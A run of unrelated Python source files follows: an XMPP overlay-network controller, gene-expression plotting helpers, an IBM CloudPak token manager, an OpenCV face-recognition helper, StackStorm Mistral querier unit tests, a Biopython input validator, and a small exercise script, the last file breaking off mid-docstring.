processCBT(self, cbt): message = cbt.data interface_name = message.get("interface_name") if self.ipop_xmpp_details[interface_name]["uid"] == "": self.log("UID not received from Tincan. Please check Tincan logs.", severity="error") return # CBT to send messages over XMPP protocol if cbt.action == "FORWARD_CBT": peer_uid = message.get("uid") node_uid = self.ipop_xmpp_details[interface_name]["uid"] data = message.get("data") #CBTQ = self.pending_CBTQ CBTQ = self.ipop_xmpp_details[interface_name]["pending_CBTQ"] if peer_uid in CBTQ.keys(): CBTQ[peer_uid].put(data) else: CBTQ[peer_uid]= Queue(maxsize=0) CBTQ[peer_uid].put(data) self.arp_uid(self.ipop_xmpp_details[interface_name]["XMPPObj"], peer_uid) self.log("CBT for UID {} put into pending Queue".format(peer_uid), severity="debug") def timer_method(self): pass def terminate(self): pass # set up a new custom message stanza class IpopMsg(ElementBase): namespace = "Conn_setup" name = 'Ipop' plugin_attrib = 'Ipop' interfaces = set(('setup', 'payload', 'uid', 'TapName'))trungnt13/sisua import numpy as np import pandas as pd import seaborn from matplotlib import pyplot as plt from scipy.stats import entropy, kde from odin import backend as K from odin import visual from odin.stats import describe, sparsity_percentage from odin.utils import catch_warnings_ignore from odin.visual import plot_series_statistics # =========================================================================== # Some helper # =========================================================================== def _mean(W_or_V): """ The reconstruction from VAE is returned by: (mean, total_stddev, explained_stddev) This method will make sure only mean value is return """ W_or_V = (W_or_V[0] if isinstance(W_or_V, (tuple, list)) or W_or_V.ndim == 3 else W_or_V) assert W_or_V.ndim == 2 return W_or_V # =========================================================================== # Series analysis # =========================================================================== def _show_zero_inflated_pi(p, ax, handles, indices): ax = ax.twinx() _, = ax.plot(p[indices], marker='o', linestyle='None', markersize=0.8, color='blue', alpha=0.3, label="$p_{dropout}$") ax.set_ylabel("Zero-inflation rate", fontsize=8) ax.tick_params(axis='both', labelsize=8) handles.append(_) def plot_countsum_series(original, imputed, p=None, reduce_axis=0, title=None, ax=None): """ x: [n_samples, n_genes] original count w: tuple (expected, stdev_total, stdev_explained) [n_samples, n_genes] the prediction p: [n_samples, n_genes] dropout probability """ if ax is None: ax = visual.to_axis(ax) reduce_axis = int(reduce_axis) if isinstance(imputed, (tuple, list)): # no statistics provided assert len(imputed) == 3 expected, stdev_total, stdev_explained = imputed elif imputed.ndim == 3: assert imputed.shape[0] == 3 expected, stdev_total, stdev_explained = imputed[0], imputed[1], imputed[2] else: raise ValueError() count_sum_observed = np.log1p(np.sum(original, axis=reduce_axis)) count_sum_expected = np.log1p(np.sum(expected, axis=reduce_axis)) count_sum_stdev_total = np.log1p(np.sum(stdev_total, axis=reduce_axis)) count_sum_stdev_explained = np.log1p(np.sum(stdev_explained, axis=reduce_axis)) if p is not None: p_sum = np.mean(p, axis=reduce_axis) ax, handles, indices = plot_series_statistics( count_sum_observed, count_sum_expected, explained_stdev=count_sum_stdev_explained, total_stdev=count_sum_stdev_total, fontsize=8, ax=ax, legend_enable=False, title=title, despine=True if p is None else False, return_handles=True, return_indices=True, xscale='linear', yscale='linear', sort_by='expected') if p is not None: _show_zero_inflated_pi(p_sum, ax, handles, indices) ax.legend(handles=handles, loc='best', markerscale=4, fontsize=8) # =========================================================================== # Comparing Gene expression # =========================================================================== def plot_countsum_comparison(original, reconstructed, imputed, title, comparing_axis=0, ax=None): """ original : [n_samples, n_genes] reconstructed : [n_samples, n_genes] imputed : [n_samples, n_genes] """ from matplotlib import pyplot as plt ax = visual.to_axis(ax) original = original.sum(axis=comparing_axis) reconstructed = _mean(reconstructed).sum(axis=comparing_axis) imputed = _mean(imputed).sum(axis=comparing_axis) assert original.shape == reconstructed.shape == imputed.shape sorted_indices = np.argsort(original) original = np.log1p(original[sorted_indices]) reconstructed = np.log1p(reconstructed[sorted_indices]) imputed = np.log1p(imputed[sorted_indices]) # ====== plotting the figures ====== # colors = seaborn.color_palette(palette='Set2', n_colors=3) ax.scatter(original, imputed, c=colors[1], s=3, alpha=0.3) ax.scatter(original, reconstructed, c=colors[2], s=3, alpha=0.3) # ====== plotting the median line ====== # xmin, xmax = ax.get_xlim() ymin, ymax = ax.get_ylim() max_val = max(xmax, ymax) ax.axhline(xmin=0, xmax=max_val, y=np.median(original), color=colors[0], linestyle='--', linewidth=1.5, label="Corrupted Median") ax.axhline(xmin=0, xmax=max_val, y=np.median(imputed), color=colors[1], linestyle='--', linewidth=1.5, label="Imputed Median") ax.axhline(xmin=0, xmax=max_val, y=np.median(reconstructed), color=colors[2], linestyle='--', linewidth=1.5, label="Reconstructed Median") # ====== adjust the aspect ====== # visual.plot_aspect(aspect='equal', adjustable='box', ax=ax) ax.set_xlim((0, max_val)) ax.set_ylim((0, max_val)) ax.plot((0, max_val), (0, max_val), color='black', linestyle=':', linewidth=1) plt.legend(fontsize=8) ax.set_xlabel("Log-Count of the corrupted data") ax.set_ylabel("Log-Count of the reconstructed and imputed data") ax.set_title(title) return ax # coding: utf-8 # Copyright 2019 IBM All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import Dict, Optional from .jwt_token_manager import JWTTokenManager class CP4DTokenManager(JWTTokenManager): """Token Manager of CloudPak for data. The Token Manager performs basic auth with a username and password to acquire JWT tokens. Args: username: The username for authentication. password: The . url: The endpoint for JWT token requests. Keyword Arguments: disable_ssl_verification: Disable ssl verification. Defaults to False. headers: Headers to be sent with every service token request. Defaults to None. proxies: Proxies to use for making request. Defaults to None. proxies.http (optional): The proxy endpoint to use for HTTP requests. proxies.https (optional): The proxy endpoint to use for HTTPS requests. Attributes: username (str): The username for authentication. password (str): The password for authentication. url (str): The endpoint for JWT token requests. headers (dict): Headers to be sent with every service token request. proxies (dict): Proxies to use for making token requests. proxies.http (str): The proxy endpoint to use for HTTP requests. proxies.https (str): The proxy endpoint to use for HTTPS requests. """ TOKEN_NAME = 'accessToken' VALIDATE_AUTH_PATH = '/v1/preauth/validateAuth' def __init__(self, username: str, password: str, url: str, disable_ssl_verification: bool = False, headers: Optional[Dict[str, str]] = None, proxies: Optional[Dict[str, str]] = None): self.username = username self.password = password if url and not self.VALIDATE_AUTH_PATH in url: url = url + '/v1/preauth/validateAuth' self.headers = headers self.proxies = proxies super(CP4DTokenManager, self).__init__(url, disable_ssl_verification, self.TOKEN_NAME) def request_token(self) -> dict: """Makes a request for a token. """ auth_tuple = (self.username, self.password) response = self._request( method='GET', headers=self.headers, url=self.url, auth_tuple=auth_tuple, proxies=self.proxies) return response def set_headers(self, headers: Dict[str, str]): """Headers to be sent with every CP4D token request. Args: headers: The headers to be sent with every CP4D token request. """ if isinstance(headers, dict): self.headers = headers else: raise TypeError('headers must be a dictionary') def set_proxies(self, proxies: Dict[str, str]): """Sets the proxies the token manager will use to communicate with CP4D on behalf of the host. Args: proxies: Proxies to use for making request. Defaults to None. proxies.http (optional): The proxy endpoint to use for HTTP requests. proxies.https (optional): The proxy endpoint to use for HTTPS requests. """ if isinstance(proxies, dict): self.proxies = proxies else: raise TypeError('proxies must be a dictionary') Abhiram-23/facial_recogination import numpy as np import cv2 import os def faceDetection(test_img): gray_img = cv2.cvtColor(test_img, cv2.COLOR_BGR2GRAY) face_haar = cv2.CascadeClassifier(r'C:\Users\pabhi\PycharmProjects\asish_py\haarcascades\haarcascade_frontalface_alt.xml') faces= face_haar.detectMultiScale(gray_img,scaleFactor=1.2,minNeighbors=3) return faces, gray_img def labels_for_training_data(directory): faces=[] faceId=[] for path,subdirnames,filenames in os.walk(directory): for filename in filenames: if filename.startswith('.'): print("Skipping system file") continue id = os.path.basename(path) img_path = os.path.join(path,filename) print("img_path",img_path) print("id",id) test_img = cv2.imread(img_path) if test_img is None: print("not loded properly") continue faces_rect,gray_img=faceDetection(test_img) (x,y,w,h)=faces_rect[0] roi_gray = gray_img[y:y+w,x:x+h] faces.append(roi_gray) faceId.append(int(id)) return faces,faceId def train_classifier(faces,faceId): face_recognizer = cv2.face.LBPHFaceRecognizer_create() face_recognizer.train(faces,np.array(faceId)) return face_recognizer def draw_rect(test_img,face): (x,y,w,h)=face cv2.rectangle(test_img,(x,y),(x+w,y+h),(0,255,0),thickness=3) def put_text(test_img,label_name,x,y): cv2.putText(test_img,label_name,(x,y),cv2.FONT_HERSHEY_DUPLEX,1,(255,0,0),3) # Licensed to the StackStorm, Inc ('StackStorm') under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import datetime import json import requests import time import uuid import mock from mock import call from mistralclient.api import base as mistralclient_base from mistralclient.api.v2 import executions from mistralclient.api.v2 import tasks from oslo_config import cfg import st2tests.config as tests_config tests_config.parse_args() from st2common.constants import action as action_constants from st2common.exceptions import db as db_exc from st2common.models.db.liveaction import LiveActionDB from st2common.util import action_db as action_utils from st2common.util import loader from st2tests import DbTestCase MOCK_WF_TASKS_SUCCEEDED = [ {'name': 'task1', 'state': 'SUCCESS'}, {'name': 'task2', 'state': 'SUCCESS'} ] MOCK_WF_TASKS_ERRORED = [ {'name': 'task1', 'state': 'SUCCESS'}, {'name': 'task2', 'state': 'ERROR'} ] MOCK_WF_TASKS_RUNNING = [ {'name': 'task1', 'state': 'SUCCESS'}, {'name': 'task2', 'state': 'RUNNING'} ] MOCK_WF_TASKS_WAITING = [ {'name': 'task1', 'state': 'SUCCESS'}, {'name': 'task2', 'state': 'WAITING'} ] MOCK_WF_EX_DATA = { 'id': uuid.uuid4().hex, 'name': 'main', 'output': '{"k1": "v1"}', 'state': 'SUCCESS', 'state_info': None } MOCK_WF_EX = executions.Execution(None, MOCK_WF_EX_DATA) MOCK_WF_EX_TASKS_DATA = [ { 'id': uuid.uuid4().hex, 'name': 'task1', 'workflow_execution_id': MOCK_WF_EX_DATA['id'], 'workflow_name': MOCK_WF_EX_DATA['name'], 'created_at': str(datetime.datetime.utcnow()), 'updated_at': str(datetime.datetime.utcnow()), 'state': 'SUCCESS', 'state_info': None, 'input': '{"a": "b"}', 'result': '{"c": "d"}', 'published': '{"c": "d"}' }, { 'id': uuid.uuid4().hex, 'name': 'task2', 'workflow_execution_id': MOCK_WF_EX_DATA['id'], 'workflow_name': MOCK_WF_EX_DATA['name'], 'created_at': str(datetime.datetime.utcnow()), 'updated_at': str(datetime.datetime.utcnow()), 'state': 'SUCCESS', 'state_info': None, 'input': '{"e": "f", "g": "h"}', 'result': '{"i": "j", "k": "l"}', 'published': '{"k": "l"}' } ] MOCK_WF_EX_TASKS = [ tasks.Task(None, MOCK_WF_EX_TASKS_DATA[0]), tasks.Task(None, MOCK_WF_EX_TASKS_DATA[1]) ] MOCK_QRY_CONTEXT = { 'mistral': { 'execution_id': uuid.uuid4().hex } } MOCK_LIVEACTION_RESULT = { 'tasks': [ { 'id': MOCK_WF_EX_TASKS_DATA[0]['id'], 'name': MOCK_WF_EX_TASKS_DATA[0]['name'], 'workflow_execution_id': MOCK_WF_EX_TASKS_DATA[0]['workflow_execution_id'], 'workflow_name': MOCK_WF_EX_TASKS_DATA[0]['workflow_name'], 'created_at': MOCK_WF_EX_TASKS_DATA[0]['created_at'], 'updated_at': MOCK_WF_EX_TASKS_DATA[0]['updated_at'], 'state': MOCK_WF_EX_TASKS_DATA[0]['state'], 'state_info': MOCK_WF_EX_TASKS_DATA[0]['state_info'], 'input': json.loads(MOCK_WF_EX_TASKS_DATA[0]['input']), 'result': json.loads(MOCK_WF_EX_TASKS_DATA[0]['result']), 'published': json.loads(MOCK_WF_EX_TASKS_DATA[0]['published']) } ] } MOCK_LIVEACTION_RUNNING = LiveActionDB( action='mock.workflow', status=action_constants.LIVEACTION_STATUS_RUNNING ) MOCK_LIVEACTION_RUNNING_WITH_STREAMING_RESULT = LiveActionDB( action='mock.workflow', status=action_constants.LIVEACTION_STATUS_RUNNING, result=MOCK_LIVEACTION_RESULT ) MOCK_LIVEACTION_CANCELING = LiveActionDB( action='mock.workflow', status=action_constants.LIVEACTION_STATUS_CANCELING ) class MistralQuerierTest(DbTestCase): @classmethod def setUpClass(cls): super(MistralQuerierTest, cls).setUpClass() # Override the retry configuration here otherwise st2tests.config.parse_args # in DbTestCase.setUpClass will reset these overrides. cfg.CONF.set_override('retry_exp_msec', 100, group='mistral') cfg.CONF.set_override('retry_exp_max_msec', 200, group='mistral') cfg.CONF.set_override('retry_stop_max_msec', 200, group='mistral') # Register query module. cls.query_module = loader.register_query_module('mistral_v2') def setUp(self): super(MistralQuerierTest, self).setUp() self.querier = self.query_module.get_instance() def test_determine_status_wf_running_tasks_running(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'RUNNING', MOCK_WF_TASKS_RUNNING ) self.assertEqual(action_constants.LIVEACTION_STATUS_RUNNING, status) def test_determine_status_wf_running_tasks_completed(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'RUNNING', MOCK_WF_TASKS_SUCCEEDED ) self.assertEqual(action_constants.LIVEACTION_STATUS_RUNNING, status) def test_determine_status_wf_succeeded_tasks_completed(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'SUCCESS', MOCK_WF_TASKS_SUCCEEDED ) self.assertEqual(action_constants.LIVEACTION_STATUS_SUCCEEDED, status) def test_determine_status_wf_succeeded_tasks_running(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'SUCCESS', MOCK_WF_TASKS_RUNNING ) self.assertEqual(action_constants.LIVEACTION_STATUS_RUNNING, status) def test_determine_status_wf_errored_tasks_completed(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'ERROR', MOCK_WF_TASKS_SUCCEEDED ) self.assertEqual(action_constants.LIVEACTION_STATUS_FAILED, status) def test_determine_status_wf_errored_tasks_running(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'ERROR', MOCK_WF_TASKS_RUNNING ) self.assertEqual(action_constants.LIVEACTION_STATUS_RUNNING, status) def test_determine_status_wf_canceled_tasks_completed(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_CANCELING, 'CANCELLED', MOCK_WF_TASKS_SUCCEEDED ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELED, status) def test_determine_status_wf_canceled_tasks_running(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_CANCELING, 'CANCELLED', MOCK_WF_TASKS_RUNNING ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELING, status) def test_determine_status_wf_canceled_tasks_waiting(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_CANCELING, 'CANCELLED', MOCK_WF_TASKS_WAITING ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELED, status) def test_determine_status_wf_canceled_exec_running_tasks_completed(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_CANCELING, 'RUNNING', MOCK_WF_TASKS_SUCCEEDED ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELING, status) def test_determine_status_wf_canceled_exec_running_tasks_running(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_CANCELING, 'RUNNING', MOCK_WF_TASKS_RUNNING ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELING, status) def test_determine_status_wf_canceled_exec_running_tasks_waiting(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_CANCELING, 'RUNNING', MOCK_WF_TASKS_WAITING ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELING, status) def test_determine_status_wf_running_exec_paused_tasks_completed(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'PAUSED', MOCK_WF_TASKS_SUCCEEDED ) self.assertEqual(action_constants.LIVEACTION_STATUS_RUNNING, status) def test_determine_status_wf_running_exec_cancelled_tasks_running(self): status = self.querier._determine_execution_status( MOCK_LIVEACTION_RUNNING, 'CANCELLED', MOCK_WF_TASKS_RUNNING ) self.assertEqual(action_constants.LIVEACTION_STATUS_CANCELING, status) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) def test_get_workflow_result(self): result = self.querier._get_workflow_result(uuid.uuid4().hex) expected = { 'k1': 'v1', 'extra': { 'state': MOCK_WF_EX.state, 'state_info': MOCK_WF_EX.state_info } } self.assertDictEqual(expected, result) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=MOCK_WF_EX_TASKS)) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(side_effect=[ MOCK_WF_EX_TASKS[0], MOCK_WF_EX_TASKS[1]])) def test_get_workflow_tasks(self): tasks = self.querier._get_workflow_tasks(uuid.uuid4().hex) expected = copy.deepcopy(MOCK_WF_EX_TASKS_DATA) for task in expected: task['input'] = json.loads(task['input']) task['result'] = json.loads(task['result']) task['published'] = json.loads(task['published']) for i in range(0, len(tasks)): self.assertDictEqual(expected[i], tasks[i]) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=MOCK_WF_EX_TASKS)) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(side_effect=[ MOCK_WF_EX_TASKS[0], MOCK_WF_EX_TASKS[1]])) def test_query(self): (status, result) = self.querier.query(uuid.uuid4().hex, MOCK_QRY_CONTEXT) expected = { 'k1': 'v1', 'tasks': copy.deepcopy(MOCK_WF_EX_TASKS_DATA), 'extra': { 'state': MOCK_WF_EX.state, 'state_info': MOCK_WF_EX.state_info } } for task in expected['tasks']: task['input'] = json.loads(task['input']) task['result'] = json.loads(task['result']) task['published'] = json.loads(task['published']) self.assertEqual(action_constants.LIVEACTION_STATUS_SUCCEEDED, status) self.assertDictEqual(expected, result) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING_WITH_STREAMING_RESULT)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=[MOCK_WF_EX_TASKS[1]])) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX_TASKS[1])) def test_query_with_last_query_time(self): last_query_time = time.time() - 3 (status, result) = self.querier.query( uuid.uuid4().hex, MOCK_QRY_CONTEXT, last_query_time=last_query_time ) expected = { 'k1': 'v1', 'tasks': copy.deepcopy(MOCK_WF_EX_TASKS_DATA), 'extra': { 'state': MOCK_WF_EX.state, 'state_info': MOCK_WF_EX.state_info } } for task in expected['tasks']: task['input'] = json.loads(task['input']) task['result'] = json.loads(task['result']) task['published'] = json.loads(task['published']) self.assertEqual(action_constants.LIVEACTION_STATUS_SUCCEEDED, status) self.assertDictEqual(expected, result) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(side_effect=db_exc.StackStormDBObjectNotFoundError())) def test_query_liveaction_not_found(self): self.assertRaises( db_exc.StackStormDBObjectNotFoundError, self.querier.query, uuid.uuid4().hex, MOCK_QRY_CONTEXT ) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(side_effect=[ requests.exceptions.ConnectionError(), MOCK_WF_EX])) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=MOCK_WF_EX_TASKS)) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(side_effect=[ MOCK_WF_EX_TASKS[0], MOCK_WF_EX_TASKS[1]])) def test_query_get_workflow_retry(self): (status, result) = self.querier.query(uuid.uuid4().hex, MOCK_QRY_CONTEXT) expected = { 'k1': 'v1', 'tasks': copy.deepcopy(MOCK_WF_EX_TASKS_DATA), 'extra': { 'state': MOCK_WF_EX.state, 'state_info': MOCK_WF_EX.state_info } } for task in expected['tasks']: task['input'] = json.loads(task['input']) task['result'] = json.loads(task['result']) task['published'] = json.loads(task['published']) self.assertEqual(action_constants.LIVEACTION_STATUS_SUCCEEDED, status) self.assertDictEqual(expected, result) calls = [call(MOCK_QRY_CONTEXT['mistral']['execution_id']) for i in range(0, 2)] executions.ExecutionManager.get.assert_has_calls(calls) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(side_effect=[requests.exceptions.ConnectionError()] * 4)) def test_query_get_workflow_retry_exhausted(self): self.assertRaises( requests.exceptions.ConnectionError, self.querier.query, uuid.uuid4().hex, MOCK_QRY_CONTEXT) calls = [call(MOCK_QRY_CONTEXT['mistral']['execution_id']) for i in range(0, 2)] executions.ExecutionManager.get.assert_has_calls(calls) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock( side_effect=mistralclient_base.APIException( error_code=404, error_message='Workflow not found.'))) def test_query_get_workflow_not_found(self): (status, result) = self.querier.query(uuid.uuid4().hex, MOCK_QRY_CONTEXT) self.assertEqual(action_constants.LIVEACTION_STATUS_FAILED, status) self.assertEqual('Workflow not found.', result) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(side_effect=[ requests.exceptions.ConnectionError(), MOCK_WF_EX_TASKS])) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(side_effect=[ MOCK_WF_EX_TASKS[0], MOCK_WF_EX_TASKS[1]])) def test_query_list_workflow_tasks_retry(self): (status, result) = self.querier.query(uuid.uuid4().hex, MOCK_QRY_CONTEXT) expected = { 'k1': 'v1', 'tasks': copy.deepcopy(MOCK_WF_EX_TASKS_DATA), 'extra': { 'state': MOCK_WF_EX.state, 'state_info': MOCK_WF_EX.state_info } } for task in expected['tasks']: task['input'] = json.loads(task['input']) task['result'] = json.loads(task['result']) task['published'] = json.loads(task['published']) self.assertEqual(action_constants.LIVEACTION_STATUS_SUCCEEDED, status) self.assertDictEqual(expected, result) mock_call = call(workflow_execution_id=MOCK_QRY_CONTEXT['mistral']['execution_id']) calls = [mock_call for i in range(0, 2)] tasks.TaskManager.list.assert_has_calls(calls) calls = [call(MOCK_WF_EX_TASKS[0].id), call(MOCK_WF_EX_TASKS[1].id)] tasks.TaskManager.get.assert_has_calls(calls) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=MOCK_WF_EX_TASKS)) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(side_effect=[ requests.exceptions.ConnectionError(), MOCK_WF_EX_TASKS[0], MOCK_WF_EX_TASKS[1]])) def test_query_get_workflow_tasks_retry(self): (status, result) = self.querier.query(uuid.uuid4().hex, MOCK_QRY_CONTEXT) expected = { 'k1': 'v1', 'tasks': copy.deepcopy(MOCK_WF_EX_TASKS_DATA), 'extra': { 'state': MOCK_WF_EX.state, 'state_info': MOCK_WF_EX.state_info } } for task in expected['tasks']: task['input'] = json.loads(task['input']) task['result'] = json.loads(task['result']) task['published'] = json.loads(task['published']) self.assertEqual(action_constants.LIVEACTION_STATUS_SUCCEEDED, status) self.assertDictEqual(expected, result) calls = [ call(MOCK_WF_EX_TASKS[0].id), call(MOCK_WF_EX_TASKS[0].id), call(MOCK_WF_EX_TASKS[1].id) ] tasks.TaskManager.get.assert_has_calls(calls) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(side_effect=[requests.exceptions.ConnectionError()] * 4)) def test_query_list_workflow_tasks_retry_exhausted(self): self.assertRaises( requests.exceptions.ConnectionError, self.querier.query, uuid.uuid4().hex, MOCK_QRY_CONTEXT) mock_call = call(workflow_execution_id=MOCK_QRY_CONTEXT['mistral']['execution_id']) calls = [mock_call for i in range(0, 2)] tasks.TaskManager.list.assert_has_calls(calls) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=MOCK_WF_EX_TASKS)) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock(side_effect=[requests.exceptions.ConnectionError()] * 4)) def test_query_get_workflow_tasks_retry_exhausted(self): self.assertRaises( requests.exceptions.ConnectionError, self.querier.query, uuid.uuid4().hex, MOCK_QRY_CONTEXT) calls = [ call(MOCK_WF_EX_TASKS[0].id), call(MOCK_WF_EX_TASKS[0].id) ] tasks.TaskManager.get.assert_has_calls(calls) @mock.patch.object( action_utils, 'get_liveaction_by_id', mock.MagicMock(return_value=MOCK_LIVEACTION_RUNNING)) @mock.patch.object( executions.ExecutionManager, 'get', mock.MagicMock(return_value=MOCK_WF_EX)) @mock.patch.object( tasks.TaskManager, 'list', mock.MagicMock(return_value=MOCK_WF_EX_TASKS)) @mock.patch.object( tasks.TaskManager, 'get', mock.MagicMock( side_effect=mistralclient_base.APIException( error_code=404, error_message='Task not found.'))) def test_query_get_workflow_tasks_not_found(self): (status, result) = self.querier.query(uuid.uuid4().hex, MOCK_QRY_CONTEXT) self.assertEqual(action_constants.LIVEACTION_STATUS_FAILED, status) self.assertEqual('Task not found.', result) def test_query_missing_context(self): self.assertRaises(Exception, self.querier.query, uuid.uuid4().hex, {}) def test_query_missing_mistral_execution_id(self): self.assertRaises(Exception, self.querier.query, uuid.uuid4().hex, {'mistral': {}}) #!/usr/bin/env python # A script that contains functions to parse user input into the prediction # pipeline. # Import standard library modules here import re # We need to handle sequence records, alignments, and phylogenies from Bio import SeqIO from Bio import AlignIO from Bio import Phylo from Bio.Phylo.NewickIO import NewickError # Our helper scripts from lrt_predict.General import set_verbosity from lrt_predict.General import file_funcs def valid_tree(f, log): """Check that the phylogenetic tree is valid. This only checks the tree structure and doesn't check any of the branch lengths or names.""" if not file_funcs.file_exists(f, log): log.error('File ' + f + ' does not exist') return False else: # Phylo.read() raises a NewickError when the tree is not valid try: p = Phylo.read(f, 'newick') except NewickError: log.error( 'Input file ' + f + ' is not a valid Newick tree file!') return False return True def valid_msa(f, log): """Check if the MSA is a valid sequence alignment or not. All sequences should be the same length, and should be in FASTA format.""" if not file_funcs.file_exists(f, log): log.error('File ' + f + ' does not exist.') return False else: # AlignIO.read() raises a ValueError if the alignment is not in the # right format, or if not all the sequences are the same length try: a = AlignIO.read(f, 'fasta') except ValueError: log.error( 'Input file ' + f + ' is not a valid FASTA alignment!' + ' Check the length of each sequence.') return False return True def valid_fasta(f, log): """Check if the FASTA supplied is valid.""" # Does the file exist? if not file_funcs.file_exists(f, log): log.error('File ' + f + ' does not exist.') return False else: # Start checking it try: s = SeqIO.read(f, 'fasta') except ValueError: log.error( 'Input file ' + f + ' has more than one record. ' + 'This script only accepts single-record FASTA files.') return False return True def parse_subs(f, log): """Parse the input substitutions file. Returns a list of integers.""" # Does the file exist? if not file_funcs.file_exists(f, log): log.error('File ' + f + ' does not exist.') return False else: # Begin parsing it subs_data = [] with open(f, 'r') as subfile: for index, line in enumerate(subfile): tmp = line.strip().split('\t') # Check the fields. The first one should be numeric try: pos = int(tmp[0]) except ValueError: log.error( 'Line ' + str(index + 1) + ' of input file ' + f + ': First field is not an integer.') exit(1) # If we can sucessfully cast it to integer, then we continue # If there is only one item in the list, then the SNP ID # is abset. We drop in the empty string if len(tmp) == 1: snpid = '' log.warning( 'Variant on line ' + str(index + 1) + ' of input file ' + f + ' does not have an ID. ' + 'Using the empty string (\'\') as an ID.') else: snpid = tmp[1] # Return these as a tuple subs_data.append(pos) log.info( 'Input file ' + f + ' contains ' + str(index+1) + ' positions to predict.') # Sort the substitutions subs_data.sort() return subs_data def fill_the_box(*args): h, l, w, *other = args free_space = (h * l * w) - sum(other[: other.index("Finish")]) return ( f"There is free space in the box. You could put {free_space} more cubes." if free_space > 0 else f"No more free space! You have {abs(free_space)} more cubes." ) print(fill_the_box(2, 8, 2, 2, 1, 7, 3, 1, 5, "Finish")) print(fill_the_box(5, 5, 2, 40, 11, 7, 3, 1, 5, "Finish")) print(fill_the_box(10, 10, 10, 40, "Finish", 2, 15, 30)) workflow/autogenerate_samples_tsv.py #!/usr/bin/env python3 SUPPORTED_LIBRARY_TYPES = ['bsseq', 'emseq', 'swift'] doc = f""" > autogenerate_samples_tsv.py < Creating the "samples.tsv" file needed to run bismsmark is tedious. It's a necessary evil though, as that file is the basis for snakemake to generate a list of expected output files; if the output file is missing, then snakemake 